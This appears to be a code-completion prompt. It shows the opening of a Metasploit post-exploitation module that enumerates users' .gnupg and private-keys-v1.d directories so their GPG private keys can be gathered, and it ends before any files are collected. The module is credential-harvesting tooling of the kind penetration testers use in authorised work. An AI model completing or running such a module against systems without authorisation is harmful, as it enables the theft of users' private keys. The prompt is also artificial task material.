You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: gpg_creds.rb
    path of file: ./repos/metasploit-framework/modules/post/multi/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
    
  def run
    paths = []
    print_status('Finding GnuPG directories')
    dirs = enum_user_directories
    sub_dirs = ['private-keys-v1.d']

    dirs.each do |dir|
      gnupg_dir = "#{dir}/.gnupg"
      next unless directory?(gnupg_dir)

      paths << gnupg_dir

      sub_dirs.each do |sub_dir|
        paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")
      end
    end

    if paths.nil? || paths.empty?
      print_error('No users found with a GnuPG directory')
      return
    end